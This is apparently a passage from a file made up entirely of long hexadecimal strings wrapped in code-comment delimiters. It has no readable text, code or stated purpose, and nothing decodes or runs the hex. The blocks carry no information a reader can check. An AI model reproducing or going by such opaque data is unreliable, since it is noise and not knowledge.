c199040d4c367fe2ce39bac44759b69f89a866dc4bf21a98c5193fac84caf49c67b477fb89808bf47579839f2f85eb9cc93a1be677a9e63a257e7e7f0d50d75fdb0ba995fe06eecb301f8ebc390c0417e4977af0b63135439614e537607692d4b340afe9a457c1258cf3f420f4a2e372aea5a4def459a05c6df54e45732c61c5f90a16c477ca2af9931924b02520462ca94ecc0e7485a76bdd81e97b39b8fefcb6a7fcb89acf1aab0c2081e9d98515b4770839c2b0c31edcbb8fcb5808cc92112199058ccd26ff068d18e4b2afba6fd43b9762f897673717c9a6f565083dbf576475a0c75f9f7b58368e16c7a2b6d4e7c60d028194b48087534e88d9c083db8c0a15c5b0b638cc505d257004501c7e00585dca5dde97f82d1c7bc3c166b0f341a83eceb372e5a4fba16803a431b9a034f15cd42b5598282012e9f59cc281bbea44254061f438b2a83ee4baa31baeb429ebf4c375991e2e5fd5bc5d6e059eda479cfbc3dc587b121593c306970bfbffa4b01b4a1c6ec10e0dbf80e4895dc5a994e18b2cbe2b0d93cad4ae6631b7db3ee12b5929992bd0a1b5c91c2320cc1d7236718190b11925f70419ea7868c66ba018a382d9a3fbb6c61cc2504ce2750ffbd3fd01611d9f23cc5c4ee483164eae03c19f14ad1fd31df4cd692aa2e60f9f2c6103bf539c6400238e0777f99d43e070222741d642f595138e0fe6fa524ffa105fddbce693c011c2155e3ebed921200cd09d031d247577eb0e4a47f2a9aec4301fa861876ca0c4555e282057dad00651d11b98ac90e8b933e7c60a11a348357022eb2909edd1bb29d384234fde504339475bc137f6c7654f79b3efa7a7278e51767cef740e3c4bc4734b7a045aaf470812298de95a5c540c5bbba6577b2f5b9ae3790407b594aea20b14e35b085dfa66f85392be6a2d66262f3964d33a5c6fec36f02f839cf08bc3fbc8664ec30e5494c7a7ff39b3710a0e926e526afa28501dfba459d8c7618bbc6610bc8a2ab76a24cc3a69908c52fd78dc73d239cc0dfb99b04352b78666355eb1f993fcc5f9a16d7187a16cf227956be7866d26190b3ce5b4d80ea2b68fcd5ad9cd048a8234afb6e230dd984ad6782c6bc56a8f2cea79368b11b91f342cd0752326079167ca1863a268b885edaced807534b6be92ac640ac4df8d1beb0bc0cfa834a0f4f42eee1360297d308502565eee500dd4f8ce43995b1193b65c7845fdaf9387f2567877b9916b5b8891dff208afa981c5655a16345b291620e242ee93016027257406d391a553246f1cbcec80b263962c2ddd8d97028ea70ead513245ad7011b8a4434a3ae430640ef0093723fd*/
/*6f545c2cce2c26ac9d2081080326aa8ef93fd2aa533608f8259848ee0804c71d6d0742394dac51c26f8eae4139130daaf4fdffffd0fd72b55d159907e898f90ccff275ed8ac488747457178a2cc84c3cf417eee873b2ac68d8f404570220ca4aa99e76e03805b681cd0ebba0a86eea0d896b7ac4e9f94b88828a43aab993b91546239c502b2ad6404908945a43407c9df92fd6d48ca485bb023fb6ba827e0ffaf125ee9c32a3000a5dbbcf771d1f00668f2344cc36c08ed23e1d12f4c82e4ef1dfcfdcd488d2b9279e08488517139b4bd526729152078735d07d22fb69b374688b41414e14b6cddcb89407770039773b72d3f60043fe75ab2ff04e2a0eb065c505ddbd2961d73af3f30d0d703d1c03b4b373b858bd7eabab54adba3c468978c06faef168063bddb6b762b6903f5d8d23de9f8249aebbbb88af4a8a4514f06796cbaefb67efa394b952e2838c9773f388fea6f437410f50e76eb710028c77cce1a81d1ac86639a4e940b2799f96676d72c64f562c9b6e3046fcb5bb8d8d8c8c2b39ad13dfefe633723b6bd240a547d367d41e2d9ffc12ae769244405555aa2f3e0f904f674991b2b89e98844322a7a715ec816e93d0a964fb1077c34e0a8520cdec1d710114d8580c297b06330133499af68f2f08f624c2fec1af5d75ca512cdca05f0ae9c2562b8c1f66e52dea11321f8623c0bdc68407e5227b7ef26984d2caf98b501533b9a3a981ae1200eb8dbab0a47d570893336fe313b420d28550afbf5b7766bdead088d142ae28d8d7b666845f49ea64f6f703403182eece9998fa823cb0cc00a2ae885446a79d1b6a217884200edcd9c31b352bc031961a12f92bc7374c0a63e2bec7ee8195a1d2b9d9b5b2dc7684861edd0627c3745997d437fc4356741e17a02fbb4f103d879f2cfe49f24400a4d1a64f8210f4ae779c6fcdcc07c5df212cfc15dc0bd295a5117e1c59a6204be5236399665c5c63dcc82e16895e4cf9abc4664a34ecba138f1d4afe6126d7ce9ddcd3b4df930ee11b2cad8166ca94a2372e8160e1cc1bd740f9141254e39017d9389ca26de21b0048a395441b45d191354ebc10a241c90407f9cf7fb9f7f69c1bd89a8c634bff630596c4eba18b1f924c21476de463d94c6520c1f345f87632e425ed81ab57e1b40dc6ee64e1f0c6bffbe25072057ccfc6958525ae11c38737860a41bbf6997552142c009c76a91fd0bc2fff1457207a7d50f7c989830b0fc4aacb9db077cda77df874a8fb6e120bd8b5fff561176ac7f689185ac112fb98c4d5d83a28effd017d1492042146d2052e8caa5e2837e03bf28cbc7d96a1bac17134af1a6d11d3147ccfa0e27cb54ab8e3caf11b0bf7d2e81eb197b912d34393be575cd8fc85c238364772a4ce95fcf2f37f837f68f407a9d6e717ef1714006901fa9e4f9d650130bc032a50b10e50483c6ba0c5f6fada5494b38188a2fe98620a4ef0795cf4390402a132a1bc33ad8e482d321d510c813832ca03454807f32364ada6c58bf47d4e1e2347eff59111bbbba84b746b818f024289a82f914bb621e30ed030e595779423e4d92e5964aa7f1b3e83da42df5acea902f48c93a0b7297afcfb2ce2b0da1d3cf4fc32ff44b2350fbd37983e1cb8afb83504face3a0c02507525bc0da2c566c7a4865414178c8e190dd546cbb858c4ea57aafad81af47510160ddc470d66ed072ca5e24fa04ce5127c4720722c82fcfbe931d9438602565ccd25986050988051316a9928c736a57b0892bce91eb2540f202a781e3eb216530d0ea4b85e01784798f303781fb99d6748cbb95d90e9be4a50c2bfd2e2b9288ee766f3a4a66cd79800abcb8ebdf9533b107eb21459b8aa9f9930dfd3673e73d2082bea6d9c0962d91a157a93adaf7e1458d775f82a8836b606a9549827746bbd88330c372f7999ac329a44a891ac5c6edf3f7f21688a9417bf72f13b4b8cdbdfc8ce0057dd1a660548be3b8699437929252c60c21a34926525c2d1e12931091a8c855c2d033d69827d148d907dcd238271aee4afb28e217159a498e85027abdd4bad78e05f6ff30124de540764e7db032edc635dafbb002ab1bc49625d1af27c420e007cacb655174e67a55f5b7568e26aab38e64d3875896f108003065f48abaa23b082a2e25ac889683c1b9120d96e43496b9933a3d24d9bc033e4c3405d1fbc35337daacc4cedb80bf2aaaf523b81a10f93b1f7fa938f9c73ff57dec21cd14ae0cd697f022e780c034bb71b89a724481a702ce7eb531f51313baecb08c0ed78e0bf1a440f4155a8f4d75beacbaeb35a28aaa6c9428161eaec9f15fc7a054550faa1e2abf02ce4bb100351e376209e53de6f81d0ff61db9300121bf0855f667379538fdb2eaae827915ba30ffb988ee61f55519794593820c7148ac5b9a68d927d8126897aed60dd712d544a127df980fe2eaf796a87ebe657bedab51dda0d0c605b2fb45c8c89535a9d8941f318d9f5184f10404718bbf1ed0d242159ca53f786312863b81ae1ad06d8137c4717b1a2afbb6ffe36ed74f92fd5cb9a12ba4e528b0c13fdf54dd4d89cbdcb0f1e8962c5610625d586fac4217fcf98742ab1d7c6f703673fb8585346f4594ba1cd80639273959450108a55dfdb4c262a8c6c2f86dbda889407574e32f8c27cc12d38b774749507d15a8b60e994fd8738d69914cbab6b7482ca9c4d29957d98346e314ddd0e89bafa289a2706c3964b6406f61466550dbe7b82e828283d84c10e298c12135e66a51c4548ac8c800bb207ef24eac297f3380741a7ca35832f0940609d9d17018397dd6b4ed5161659e902f0*/
/*a6cf159da60357206ba8754df8c504c50bf64fc41415e4dea16069bfa7edd1b8b52c407766c7ca258d6fbef30384ce53e615564c596aed1782f56f965af9974d62c87be8e2769a6ba6cfa717b238efc004a05171ea6a84d44a193068fb3626e00083a1e6a8e274240cdb26befd0ddb8262b84c674a7b733cec27a6207f4e9597a8d8dd5abf7f54fff6433b50776c166f4872af87ff942b573ec5e2b62e138a02048f622d80038f8b490cc5f14552d71aed137d800df82484d5003d6536012aa83643ad2febb4aea6a3e661b036923c457824b0277e01482ed941d4b95170770596ec70293a986cde378a54bd472ff697dfc91fe28a5a5a137879c347e02edac7395a52e4e09041902d7fb057f2e1cceb2cdf39486272801d8d7b9daba9ebb23f6831d36626fe706c5344f5fa5393e18b825e042fb6a9ac0cb1462efc1ad9896c238d8ddd9a2c4b904da760b4daf025a776e2e4cabab997aae2e16856ac15dbdc951bb097678d8cb82a482787d5d4c846998a174a9b6e2e3763c1436337be5672e076f27afd3d73e2f03fdedcc5bfb05a3381a1c887db62667408908c82a4701cc40bb779849a6542adb6ba3c76a9fbd1ff1e5a8378d687cf1ba1483f9c9ef675b914a749391d662c0d10328d2838046d780a39cf35a16fe1031f11510c7d0025298a48c4a2837121b82352ed0496b238d7908f2c9b2b19769aed24cdf0f1b4e10d89d5aa115b02eb8915e3f9aa639ab5e73dca3824161cb21c79a8012f82b7f6b9e6716d9f64f8605f6c7f6fd0a71a232862bb8a4dbf68460e730baf2e2f1a4aa21aaaa918acbad45cacc0dad724967026c5786701e2c9fe653337ae9aef2142472bb8e3b99fbd72641914301314cf79af0b7ee61b4457136e49f71681345bafa9eeb320fedbc0dc27b3530ab18b55668011a5a339fd76bf15d68b1632e4fccd597a696bd18b945d16bbae59980f3dde1f97c2bbaa746e3d2bb5fdf92ba4db7534f55412e647ba86e267662199e2563b650f93315c6a45e34f14011f0d8f691c0b072422eb177912c304627f35d7d69250c690bd8f4ff3b34812dc93990611b77063ef1b14749186eb699f782bc3bce65e5a07b512ac13fc42a19b8cd58b3947562ed3cb991fe1da1309b0990941a30eae3e65d35eb0d7ef59a636b4db0006f05fa73ab7414b8fca89dea5df60c2ab52fa55264d52cf63c21ab8679fc423656dbf178a06e2ec035477f74efdc864cc146b07c60ae80179bcacbc1df176108ed97bf3f5978267c8b02251f762e798175da4dfb39d5f575bb58dccd2bca5761766dbe6bf85287c5907ae068a1358e41dc58afa0ed83932a2d7b6cb6d91326db3f10cd7e890af3c0222572394f322a27b27a4d5e182c64dd5ca0d8288e192994ea8231b4364576f052f636ca279365d2d04021cd8c3c88fe4e82fe91b4425c9d730c7561df1575afa058982ba759b16dc9db4f0abf02bac3a0467d30245220c5c16a2bbc127562d7aa8f67b726ee05f1a88a04509eae845adc344f90876652e0d2de118aae2ceef2e1c5e8e51b4ad1aa45206d76bda8ace2b88527f701bd6324c37f3eb9219d0dfaba423dac912c961324c1951244964ca7bb5cb34c7fe78b3c2de19df4bf8af8425cb85fdc3bf7ebaaeb27ae025e5d60bacd30f57d2831f724cc2e939f6a9d91e218191caea2d716f3772cd9caee4b56eb9095c0688a8c518e84269350d53810aca4f8f7c487ff82aab246b2378ed2d23b0d29ad5de00b62d40593cd68c2d1907fbd1870455fafb9f7933a4fde8324e25fb375e8fc143710d9efcd52987fa5feb6c324e03a5c408563ede5899acf4586a380b5fd8627ccd17e6239c3461ca9b319307892451f4efe627595696e3cb524733fd4fc2054cd2ede56b5fa455364ec737c301401ebb5bab5395306ff91316825a78218dc67a90809e16f4ae7fdffb3964f53b7b7ddb407db399fe8070c2a722dd9653f539768c301205d9a01ddbbf579285e31e00bc12a2e905588690f9fdc351aa4ccbcb33dcbcbae386a34061e5d5dccaf724936ce95fca55407c9965bd360b2d1d2e588811ef2c6d8f8bbba2f48e0f56c40c758716dc531de06aecfd3d31441719bdf49ac74f5173efcc2a8a7cf5e386d4a9c8ab1bf0dbd22ba1b5fd14837dc71e12d0dade0549fea6d93f9716101794711e9a1524f5caaa2fcd194c5c556b7c42426769488649b427090dc15b030d3bc48eef19df54ef118c47c73823b2644410950032943c95c8f9322f3ffa11cf2229db2479579abbaaba9602549cd252140c413f062fe9f85504d856ea8698df8e682a3c80c4a345a30a217446456b28ba35a5fa1ad09da106a50af9af12e795d8f2f70df9be4ed94093b40868048bd9f0ba69fc95e9daf36f7bf3f5ed3159fdcc5f21c79a0c6d06dc1ed9dfdb03c70f0dc025ed05870976e28676e10ccde99fc9cc7a7dccba1505d47e84ad4216fdfaa55927e940096c9e1dfb42fdb0cd01268a358bf599ddecd9c701d3720d6e40b75a155be67b62ec2eeaad57b77c0c494d8f80eaf8e10b61f0d8971dac8727b7261e7b8d4cbdb75ecd24ff4db404f6e0b1a57538693e043a2ce4a6c5b67ab9fccd20eb12b94f552cfb720e831975c932b8b006cda5e700aa7ab48957a0c43867033a9dfd457274d4011a4ef09c6236454db59ac13cf0cc55de9ac3b0882a38153718da372371da536aea42545771cf3c6ca99545a8e7a26538b07320a8029c39e1cea6e5964915f1e6ad5350774bfaca3aa197e0c990a2521c720f60b67bd5ff3fc7e6ecc409d4992fb4ffa133e01f3ff5c591ed9c4625b884f1*/
/*9f10c90572452635a5ca943b9b1b19b86c912929a2ab2ffbb9bebda9af5e464b9b5a136cf252f1fbc0e816db6972edf3187068a46cf15ef6b7a328c47fac825a6b7e6ba4912214b8b7376039c249447a14e5fcea08c470d9a29a71298c2516936420f8e5986294b04503877e172068c55cfc2fb66cb88247c3aa68d3d1c4698d0f628eebf05248e0d4688cf5d7e1728d4a3932978b799b1fa8d8dcdbe01bb22d6e7953cee0b27c7c228becd0a76648b081ec39e6323424ec8d06a3272b002ef703ac2df631eb9fcc1b812f4ceaa4b85ae14915a6bf3e1cf9cac94a3927391dd9c66a8e29b255ce9fe7a73c6695e8412ca76876d97f2bd03a530004a172ea6c840d857baced1dc2c304cf41f8e93662049dea8fad40bbe10cdfe630e40efdd0001543d66b93463decad327b757dfa74c972cc93a36f642e0fe3277e174274cf37ee8c11739d906221bca3cd16366b73fd3e39be83fb847c711c4e0a862304ba5218b2b89e10adc80c247ab4f8c90e62ec93b4fb256337607bee1c254696c94c62f333b5c72b1837d3b2700d72bb8dfccd889035e870b4e9ab917376bf0baa98be35d1fc2cb76ce1e8e0c77d9459ee093328aa508876c6c1cf97d373ba3ad0dd46b6e0817087d275c8b74ca17739231383a867a050b082452a05d45139d36b64664460c77a2a31ba65314ab2ec7fbf2858f683c4a053d119eb5c2cefffe2d250fa09579c5f39c8767ee4e41196aac323c0aa9d012908a963e419b9fd3984a4fba21c410d60365b9e3de3e216d328b8cf018c989b55be12a52840b4b27364c8ad09505cbb86f4a90ddfebcf0071c0afda7bd0991363b779d7a4c880699c4f2d693f890cd02479c3c4ffa48db69de1b659218a065433736a18c44d9d50c868d88a0bca6d7d39f9fbb1e094c4524da558ab34cdc2fdeaa4e1bbc924875635f0af4ba8278f609d01605b589bfe91d243b111bf904445d6dc0ec3eb3fc73095c074016738bd653bb80d202a3a732c2c02f3e1b609d8abeb0cd9622ec8d85ae47a821f600ec0bf7d4f2903239050e6bf9459a39bfb121f4caebb9e461bbc333bd1da8fda6cd59d88fa12c736e92ff12d8f575e6290483960b16d346cad149c60078bb83dbb747789e960e0ba20204de400fec56c524c122c7ca4b2390b7886330f612b2d6e4ef3922d7cdeb372809e8fb7fbf7897c26cfd7e8e2ce177920c3d9307a87f7b3edd39310092fff51cb650b2cbf2a0156fb7942ed0c82b00014b3c9cfc41675e58423206bf678f575188d47586857e739b4524ae2496ebf3d4117255657941cb96d44ee6f63abefe3a2cf6fc0b8267c05713142407a9e52f5b7c089a784f2891805f9766b2590af717c528fbee4acacf6e0201ccd623e2574ac86b36278ecfd3217ec1cada454c07fd775eafe4e2f1c4dcf70e6f541ab2a6828fb6445ca2bbebd543f08ae22a18509d544a11e724c70aab1923c5ec7eb4319f7a4ca25e6bc873f2cdf6036838b6c7ff35dac6b3da56244ef1dd8a80d7e3d9a4e6e81e6ecf891925b6d55fa61bb1bb6b614e3fbf35b53236400de0a9b709b0b2dd2c310a1b772c1f21be3540fde4023430cf3b6a0f5d63dc8a6332150bcdc2087f64de4ee08c3710300014a605b5d0362141316fa88af7beba0598e502db07901add6a25b3f72d1f6a63d53f661f64b09ffeee3a8185b0d4a8e5980a334189599d522fcd39d61a1d2a72eac6a30583d70791a59f5dedafb316b914a7c29bd28d48c6d3347ed46a4dfb2371894e654f703e79867655a0a1cc206c97715628880e4ee7baf18047979e1b0cac04dc08b012e33cdfc67a75bece2d8af5cbc969abcd98a7ad5c85f541a7011b8242fdc6e36ae8bb20d6b57a5ad938b03422b65db4c43bf109ab3f3f13a22e4f73d88bf83766d03d61709ed9807a23427dc48c4ac23427cd7c063db2c00ced82b4d77e022bec0e45e09390f2868364434f42569cb6c9265cd8157a7fa1927b236b36bd11369b608961f4fb6c12c2d797ed5e63f3e2b8c8acc03292be2d426af40564e3227edafc70713ad12e4ad7d9e5aff99d919bd5a7f0c430da8b6e1e2e45c2886451ac8c385c6dd63a63045ec80c5c9e77eaf72b8609a6f409f7c6094faac740ec071afdd4bd5b64c021f284ca8d5d0f55575fd21c5943809357c4119056df662d6c454dfb285f533cb9afa3676b3942563e310f0ec8d99ac43b20434007b08e7cc08a73e88258677ad662e9f48fb61af37d688b25c838dad30d595b712643defd4c251278b36746948749141822c142e28d276bc90116a21cd654f5b68a9c217380e648cde48d547daa38b422c27b4a563a5603001e8eb11a2b4440dcb95bdbe3e0dddcbf5a7aded76da99a808ef2719b2e8181d842a77d285e80ff4787dc4e74420ce87deb39f54d78eb770b85984bd79b6f6a334e888b18e91dcbcb6d0fd3d878ee86a5d27bd8f2712a0f51d260b3394da5195ec4e0ac30a13a9a36a8a9a3345571eadfac505e0cfe82c41f26e59f7cf122a46d0db73df456894eeafaa855af648479538497264faa73858b13ac337f8ca7fe7d696ebbe8161155ca1972c06ae7f99d77531fe335d62232ea97d0079ad2a77f8d6ff57e4ed8697af88a0f73e923edb8545ca9a71248a1dde9c5f33492b5972bd8a54257ffaeb6c8e12d224ed06b6866e0248952226dd1849ee4f0745394f5e0c0258130c2420d09379576cbc9625f9ef4169bf688de7473b8b8cdb4e52d8b2fe2908de7d29ddb87159b519e5e34751836e9996410ad779e58934020792b6849598e26e9f1891e368f5ed86953159d09351105e98bf2f*/
/*0adb8406af00f8b56641806ab661f52119bfa898904ed4f6a2352d44bcfdbdefa9b99278b33789cdd0899b1c08f60945dbf02adc5eddc48202c10ed79024bca8df08427e267919ab737dad890ea4fab39e3156d30adb6091d7c5af934167958ea5835b9a8131fd148b94282e5c8643238b7ba8aed06fe073ac3603af92d5955555814bb9ffbed601ad5d257f3d02702f6e4957ff7085d5d1d515cbbba810a57e059ebf8d05b4f3811f37974743099a66d181a04fb5067d0c2c13b38f657127a8f3729447b96dfc590c5323b9a7a593d64fa894e7af389baceed37f4525c5dab4e69c4c0e18f287d42c107bd6b7e71b1fb351eee76dc8efc68f146a479e127318ffde900716ea3766073834bd847932c108d0606fe1a8559ba958f4dc03fbec0a91089d9666f643bdcacff3c9a278f8f1570749b6aab67e64af4e3572998ed71d1d9278f1b5f4e3c72861f794785e52b7b9b76635c5cc9a922b62bb717706e578115e51d5148ca76d4f86438d29bf6933135db526866b59e0a8484472e98dffafa215ca7939ac6bf953286bb8ef3cc681704294ad40e20061f33090977d5c2c259738a1152b99a83a5b4f40061645ff2db32d6ef92c5af237d182d29fd4aae597a714a6e3cbd8c08b5ad3f3432a28b6627e2d3ee6a49d10d1c18697c37e4343bfc3ed66202962cb105a9ca9b046f35bd9e2de00bbbfa768a6647010c01ae97e2d8a22f3cda020da6d705274a3b3111a75de8dcbcf186603afe0507e2ff29cef721b2c8b77e6079a915e6b09c169efd43a68d1e95ef6f48fdaf22fe930f1acf4eefea6ad2448a8ccd8118bf4169e769865e2e2749ffe492be948c0dc7126e086b207399c444526f7c85cdc25d3547ce04d2557dc884cd8a63cf770b6ccd93ee52887299ad46756547ea5c33e8d9149becce7dfd616ac8e9e9885501bdb1e23ffd42e764700d3ec49511df0ba980dde1f609a05c9e6e9e138055d493e1c1bfcf1a14de11ff874aa989fdb3aaeb5e90abae72bc04142a69e6cf0c97e37edc4e5b4dfed6a8d5b15641677f35fc75ce127bffe22c403a5fa9a59532445237ce748a38cab20e0d280fde223f840eac37a06d17576980b085b16e9cd8ba786d41504c0bedb45f0df6cb66d902773e099c31ea7a614bf3fa220ea60f5dfb559e95ff5ec02194a0863a8a9d439d9c3301274055322387ace4aa1fd1b6446534955e477a87a238fd2ba2778a161cc7d8a8aff1712b885df4798e5e9c7f4b3a4dec0f062f889adf9d108a288b1bc53d8c7f60c860c0707c44a090d2569968a3d59860156992c65085108984c5cdfa280e5b3d41c7455e641a44f3f5f50b44b41264f826e4b5e9fe83a7d6d02965e502238cb4e271e30b819e3e6eb403fa68b283a1b36464b2702f05ed501ae9f5d1f732d600af111d3227a9a0475ceba0754eeb73f2280a5bed81b7b4fde42f7191926608f4364f5381469acfe104de3cd67680ddf0f431c4f4987c0203d19010a0348c13e87e828540eb1b5338fe3d90f7295a1763a83bfa0caf08448b1fd2bde3cc7ba822ddf133cb5171993a65efa450903b5419cabb1313087022ef9836211061c628528b558140f1711d61b5f822a14c9c466766db47e5d2de2f93ccc11c4fb55859a9fc0070bb902ce444b319eaafb6f1080af7308b525b75399e6892a96afc9e1a4698005974cd8670ef741a97992516f257db7b7fc82dcb493a206b8042fe578b4dac394d34290ff40093bc80299dd9efb2a253194de453d974d192b8d3de23f3171517faba27b48488e96a4531c91f4ed8486326e06056049cb1cb2742b5d3e9df794ac1ba0e40e710f69bc192b91cd1ae4121f5f68474fa0fa3910d198f95048e81e1dcb38d3e0d66377222e2ad90f6a13f808e66c0b3a1773d7dee0c20c30fbe0bafcd0ee013be5618c80cc3f96faa05449b6b0c3070784076141dc6b907544b5a24dabfa84ed6decf23d04afdb2c31eb1cc0edd28565dff4e448faefef8aa3d072cd4bc275831ee4a5fe13a26a3b39d332e6b2cc92bd3f04c6ee3d41bf821388fa5a6397e15f1482a5caebb2cf9c2c4560385f333479d5efbbaf5cba214e61b8a68cf2a99993438a8c3b1a1b0fefff1e7b41e4d8e9cf7f2023baf3d8b50a2aa4a9a889b4354a7e024e10905e4aaba193e4ac5f0e74de84d726a4191ad940c57af559c1151b11b5c6c9288cc7dc48bdf9fa44111cbff3bbce5b45ab3426e6228a0c0a392a449db19f93778921efc4328595e9cdd4daa0564318e57fb9a2ace35022bf0cf0056d5bf91cfdb76a8b50b945926c0a5141e5ce05ff758169e1bc0dbab8f263678ee4d200dcdcf801e772bb71b30182be3f240ada1b9830d4acfd88e508d3a17ac5abefa4b01634a4f98ec927546904c3c5a97467853572139f7f03af295fe30f3df48f0c56f2f6ad14789948a31cfbe55cbcf7220178807258ffcad3700112741951c5bf7f1c858cd6eaa044f109e8120203bd0649061d90498d168ece1c277dbf96b950701a280d93cf5949f7eb9107f1171d9975a4cbe7342ecf0b240a0b51f3cf0e6717134380e8806692f9918e9ed41682f8eb74f30ed504e158027d3987ffd1de5fc3a34d9eeefe4e50d159310b0d163f6d0fad0565b3efe650ecb361dfad76ae2605781759d8da418e5b0df1724d3611388b58fb62af4495211aa39891cb7b55c500b6dc1574b8844a54dbca1e44416d4ac71d41068c50e2480687fc80c1d63e2a3de3c61357d1cbc28cd2718a9f1c67d1183f6e8635f80f8fc501d27c05b874febf7c9e7139e1a25c468d655da93612de745ccb4fbe24ead58de243*/
/*54bba142b541b1e1634af3093a23289fde6019a168b361cb3661af51fed33006f1a72687203e8fc7358c4cc33a39dc55bb36e3c33fa3dfd5528b9f728e37bb34efbc3c6166603ee8e39d590dbd493ed866fbf068b2f7f1e02dec5648018450e0790cfb3ef61d1072d1680499503526657ab4613388b1caf32584b115f2b520d932968ff62b6738bbc10a9609a3a20f4670a6a5fe6eafed8ca61edf3e56e4834a867dbb79977f876518e2d114df1322319724b468d6b9a545305f26a54f4cd1de557bc113738e7c7b42278a3d948e387e55b3d10500cca38e6cdea2ed5a49f61a89e304b28cf7afb114ec3eb83942f8dc92fd6fab6cc109f00b445f7d93fa44e9c60d190935c153b4a336d08a1febf79069c3105ba670c5b593e580e61116d2153301986970b6474692956312b90fd734843e15340efcee917b737312f6e592b01893752201e696da036d160bf08c4fd9302d2d8ead8788396fdea2d45ca7b8169f0da9dbd811fb3fa296f77d46733fc4333f6abfe31ee739a072808995f85bcd8903e13046d14d938aeccfcd81220fe1723178dacc047b733d4598c0550c6259c342565c57095b8300888f47c383a2d1482f4380ea6f0d889950211cacd6ab4b84d41492ae2ebe2eb55eaf1908617a5983a5d3efb550eccae059347464b396db304f205302a8698fd2ece6c6d6f328876ba271888153724dd368aba5b90cc315056386ec1ecb96936c4949afd6e6a40dfa531703c04e39457d3decc6d728c148f614c5ab866abb9c58d1824a8d29c8a2336df8442fd74c9e4500bcfa206c96a7bd6a1370f7f8291b98b6994c397318ba5230088149b37efa6a16ebd99ac126baca0c21939c50cfc83deb582315511cf6477b274708519d0b3f9a1d438e0000f68bd7c8822d211fe14cad2bc543c47709cbc5654dfbe96ad88c3fb09829a026135d768e7b400067c32c0f75e91c3f2ab730521a88f057a91853c97c0d8af2b10785d0807055ca65477cc91ba2278a94a24cac085ef715859e0aabc72df7cf04393155196ebd2282de395956b2906ea0917b3467837b2369d48f0fd7e4d9296db78e1904ba001304a0d677536585e156777f710f4ff8838185560d0c05426dfacc415c8865655903d7e1ff7b58472a6e850365ebeb092d6d6bdfaeca8fdea970e9d7fe260a07dd513cd4c5d7b41bd1800adf9928ffb23af785b83d0bee11815727218edd2ea9bc4b7257daeee64ac3cdbeba72565f07bb9469d0ff23566e75c7ce6aea96b68f5327678b78067bb60a0321441acdd828abbdcf6f3a22380fd51dbc65bb8de593c078eaa8c04722edaf588c3ba9db49315a9cc8e56cf9bbfc31cf8a9a652b52c9ba81ad787a1fddefdbe675ae4089dc8a64a27e34b7731a58b31f8f8179d994141810b3c5b1e12a6792790d127aca6d26822bf186cbdbd365c889075e0e763cd3d1ed1654a4f2b2bd604abb7be180e44520ab619a1c5f0a47164c614d3a01d89cdce4b010ee8a960411288a864313e012f03cdf3de58ba6fc169b1891c9d2703f552f01932f8ff547abdc6f25991ae57e2c7e29114ccb9da2f95542bc0120b837a619b04db65c2f247b01072a21c2c761e8ac53f65136d78e7a73cd3d942c5d4bd1313c77f92ab195ff93778f32bd2437e79808ba83f868f398b3d3a12523b472e59f84c0fad3e7be6f6dedfd31e7ec7951c6c2ca1239c7f6eadd92782799427fa96e9a96ffdf3a52a841c013e4d1239d697a09facf5bf2bbc29acfc6e1d1f7155e64bb2ed6f7a26f83b1950fe0165ef4746135f4d302266f526c211fc22adf3e53bb1c08a7867982ae70b1cc0d612349fabc6269d901509314402bf126b7a113926206c36f1a8131aa5855af6fed91a61cdab7f7cc173c8fbabd5e4992f90639e5c55211d6a28daf5d8fb4f678f16812463fb2909c70766d3a015f57d403710a4de9e4213d463ee6d5bf9ed4fd63e28ef4153428896042e2d7ccf361711bb8ee91d38f8f5dd6f348eb0fa74db1af29ff82332a86c79e9902c8b085466ef430f4860878c49fd321bd1578ff9110efcf84e39cd080a1c82098ca07f0b3c8dacec6572ba87ca335829027f65f69d12b414dafff44fafce552dc1e3212ce9a43d4401fe31fdd7edd30dfaa7d9b9cd69cade4d2329b2aa41a5e0d8ebe6a45d50d939a52728aed9f96aafcd88cf2e1e0392dfbcb4194a0550349cbabfea0b1e5e50f06b9366d86e1713117f4177c2ca86d33238545dd36ecf5e9dff2652e2be5ac055c4bd85343950190b4847038d09dc0133896c7bb92962e328c563a22ce883b94829b7116a1ff8bcde519b4a7cdf07f252b493f8e0bd49f896d15a23d69dbb7d3cf0207d838c67c2d7b4eec72fbb6d4f5caa1aa7d8d6e77e5729edabe4583f686dff77919736e7fada335e9fb0aa77f8005b659209a571d92cd70a4b655016000ae0e715ddf57b2287723c8a0435bb8eada0fef2ccccbd006cb1dfb2499a90cde4215e8a11df3b4e095681b3db6b176fcc64d654415df3393e9ff8db8717a6624cdf639946d2eb1dcaf003c3a2f798c03c7dbeb492632f15f03e7e71ad67e1b60ac8fa9fe1254f06f73f504394aa305335a4efe26897854be225e65a64c1aa9c2950493f82fbd40a7d8dcb278f83583f9b36215bde1c1fa47916c5b228c0430dfa76a521e9f91d17b1273da77011f78daaf5e356d65a094c5c0de881b2907993fada2f78291797ce93e40b2cf7b90d248246ea4c8ab264d807f9df8caee4c0638e38162e5528d630e58ee46ac0bb7d65d5abc886d63be9719912c84c3ecf073a23768083c2880a1c9a90cbe56*/
/*429cdf7041aa2979c7d937d0aa7b073bc55928dec662f554ae2063c251eba9eee7090ff4b3dccd2e60996acfc863b9a3e06803295c2607ea7baa50dcaa9f468375f7b91e057015407aa8ff7ed460b012931aee67bb66e8605099b79e2b54ab285bf9b80858a4c1493f8fd39a99f9236f202e2256cd383c9a3d1f90a21db697170be95d58c221fa0429224416a9070f031c143e332ee2a61123f4c620dbdb7d0179dfd9f0d562a11dec701e9e35c7bca9fb24b3d8d8dfa46d40eb40e719a1c0765f96b1585711443f75915f0d3bfba7cf62b8e6eee038bfb45371a2315f193e450f3975d4d581c85d1b76a74dd80be10870be2c0997fa714f545cb5d259fe4ebc82bca608dfe2343a6fdd471802347bd3fcc4cbff4e453ad0e564944bdf3343e9b4239e7d18bf06d132c4fbef67be5613a8ad2f7f535abf6249d2acfb002372641db16c0c6e76f39e0463fea0cd9b7d6a57c89124e4cd924de0a42fcdf4a408fa562445f0bb93f8030eeec301dd08ed60d74c1fadec4c23fe709537ab950d2c26d5c0401eb1b482a65284a2337eab047b830bfb35a3f7d7809c5238c2358f743fc251528d9b9fc3bafc1d08642c37a0e7cb3bad1615226f498f4dd8fc42e1fd6c4ad5b53065df4773be325e9e5c57f7c4f204422fe1bb7ffa5f377e89a98048b2ddd237d6082986209eb48ec2f07aac56cd6a4b170d0eeb1b4ee268a70e43559ba1285d1ac82d0605f7bfc7ea66659be05548d54f2500d1ae1bbfe677ab4663a1a1f47399cefebebcaa06b1ee184d6a1fb651bec957f4e0d07a99abf549ec2b01216ac939f0704b6f7ec3255dcd5e8a3fa7fe53bc74ddacdcf